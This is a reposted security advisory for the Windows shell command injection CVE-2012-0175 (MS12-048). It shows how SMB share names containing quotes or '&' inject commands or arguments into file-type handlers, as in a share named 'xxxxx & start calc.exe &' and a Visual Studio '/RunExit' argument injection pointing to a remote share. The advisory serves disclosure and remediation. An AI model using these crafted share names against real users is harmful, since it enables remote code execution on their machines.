Microsoft Windows Shell Command Injection - MS12-048

admin 2021年4月3日19:33:48评论33 views字数 3784阅读12分36秒阅读模式

CVE-2012-0175

Background

Windows File Association allows an application to define a handler that should be called for each operation on a specific file type.

For example, WinRAR registers the file type .RAR in the following manner:

image

The Open action defined for this file type dictates how the handler should be called upon opening the file.

The command that will be executed for this example of WinRAR is:

"C:Program FilesWinRARWinRAR.exe" "%1"

(Where the %1 is replaced with the filename that the client clicked on)

Theoretically if an attacker was able to create a file called

Stu"ff.rar

He will be able to break the command string.

Of course creating such a file under Windows seems to be impossible

clip_image004

Linux operating systems unlike Windows, do not limit the use of these special characters as part of a file's name.

Meaning an attacker can create a file called stu"ff.rar

clip_image006

 

In order to actually test this theory, the Windows operating system must have some sort of access to the file currently placed on another machine.

image

 

Most applications will fail horribly when trying to copy this file over to the Windows machine and the few that won't, just replace the quotes ( " ) with an underscore ( _ ).

The next possibility to access this file, is through NetBIOS shares, so I've installed a SAMBA server on my Linux machine, created some default shares and copied my malicious looking file in there.

image

Figure 1 - Linux view of the file

image

Figure 2 - Windows view of the file

Apparently Windows changes the display name for these files.

It does the same with folder names.


Vulnerability:

The one place missing this protection is the Share Name itself.

By editing the SAMBA configuration in the following way it is possible to create shares that include the forbidden special characters in their name.

clip_image014

Figure 3 - Editing the SAMBA configurations

image

Figure 4 - Viewing the shares under Windows

When executing a RAR file from the regular share2 folder, all works well.

However when double-clicking a RAR in the second share

image

WinRAR cannot seem to find the requested file

clip_image020

Viewing the created WinRAR.exe process in Process Explorer reveals the injection has worked.

image

 

 

Example attack scenario #1:

The following attack scenario will allow the attacker to create a malicious Share that targets the "CMD Prompt Here" behavior.

image

image

The way that "CMD Prompt Here" works is by launching the following command

"cmd.exe" /k cd %1

image

An attacker is able to create a new share named:

xxxxx & start calc.exe &

When a victim uses the "CMD Prompt Here" context menu against any folder under the share root, the executed command will be:

"cmd.exe" /k cd \10.0.0.1xxxxx & start calc.exe &AnyOtherFolder

When CMD will start it will also execute calc.exe

image

image


Example attack scenario #2:

 

The following attack scenario will allow the attacker to create a link to a visual studio solution (.SLN) file that once opened will automatically compile and execute itself.

By creating three SMB shares named:

1. Test Injection "/RunExit \9.148.197.235share2

2. Test Injection "

3. share2

image

And the following folder tree under the mapped folder (/home/share2 in the case of this example)

clip_image036

Notice that the content of the ArgumentInjection folder is not shown.

It contains all the visual studio solution files and should not be changed.

The result of these configurations should look as such:

clip_image038

By entering the first (long) folder and opening the SLN file with the devenv.exe handler, the following command should be executed:

clip_image040

image

The devenv.exe handler receives four parameters:

  1. The first part of the path - "\9.148.197.235Test Injection "
  2. The injected parameter - /RunExit
  3. The injected path to be used - \9.148.197.235share2ArgumentInjection.sln
  4. The remaining part of the original path - .sln"

The first and last parameters are being ignored while the two middle parameters causes visual studio to compile and execute the desired solution.

Impact:

By using this technique, an attacker is able to inject custom arguments into every application that registered a file-type handler using the described method.

Remediation:

Microsoft has issued the following patch to address this issue

MS12-048 - http://technet.microsoft.com/en-us/security/bulletin/ms12-048

Discovered by - Adi Cohen, IBM Application Security Research

转自:http://blog.watchfire.com/wfblog/2012/07/microsoft-windows-shell-command-injection-1.html

留言评论(旧系统):

晴天小铸 @ 2012-07-19 14:59:58

啦啦啦啦,抓肉鸡啦。。。。 有免杀的远控抓拉拉拉。。。。

本站回复:

很鸡肋滴……

文章来源于lcx.cc:Microsoft Windows Shell Command Injection - MS12-048

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日19:33:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Microsoft Windows Shell Command Injection - MS12-048https://cn-sec.com/archives/323544.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息